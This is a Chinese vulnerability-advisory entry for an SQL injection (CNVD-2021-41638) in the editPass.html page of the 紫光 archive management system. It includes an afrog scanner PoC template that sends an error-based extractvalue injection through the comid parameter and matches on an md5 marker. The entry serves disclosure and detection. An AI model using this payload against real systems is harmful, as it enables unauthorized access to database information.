CNVD-2021-41638: 紫光档案管理系统 editPass.html SQL注入

日期: 2025-09-01 | 影响软件: 紫光档案管理系统 | POC: 已公开

漏洞描述

紫光软件系统有限公司（以下简称“紫光软件”）是中国领先的行业解决方案和IT服务提供商。 紫光电子档案管理系统存在SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息 app="紫光档案管理系统"

PoC代码[已公开]

id: CNVD-2021-41638

info:
  name: 紫光档案管理系统 editPass.html SQL注入
  author: peiqi0
  severity: high
  verified: false
  description: |
    紫光软件系统有限公司（以下简称“紫光软件”）是中国领先的行业解决方案和IT服务提供商。 紫光电子档案管理系统存在SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息
    app="紫光档案管理系统"

rules:
  r0:
    request:
      method: GET
      path: /login/Login/editPass.html?comid=extractvalue(1,concat(char(126),md5(1)))
    expression: response.body.bcontains(b'c4ca4238a0b923820dcc509a6f75849') && response.body.ibcontains(b'XPATH syntax error:')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CNVD/2021/CNVD-2021-41638.yaml

相关漏洞推荐